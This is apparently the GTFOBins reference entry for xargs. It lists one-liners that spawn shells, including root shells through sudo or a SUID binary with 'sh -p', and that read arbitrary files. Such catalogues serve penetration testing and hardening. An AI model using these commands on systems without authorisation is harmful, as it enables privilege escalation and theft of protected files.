GTFOBins.github.io/_gtfobins/xargs.md

733 B

functions
execute-interactive file-read suid-enabled sudo-enabled
description code
GNU version only. xargs -a /dev/null sh
code
echo x | xargs -Iy sh -c 'exec sh 0<&1'
description code
Read interactively from `stdin`. xargs -Ix sh -c 'exec sh 0<&1' x^D^D
description code
This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only. LFILE=file_to_read xargs -a "$LFILE" -0
description code
GNU version only. ./xargs -a /dev/null sh -p
description code
GNU version only. sudo xargs -a /dev/null sh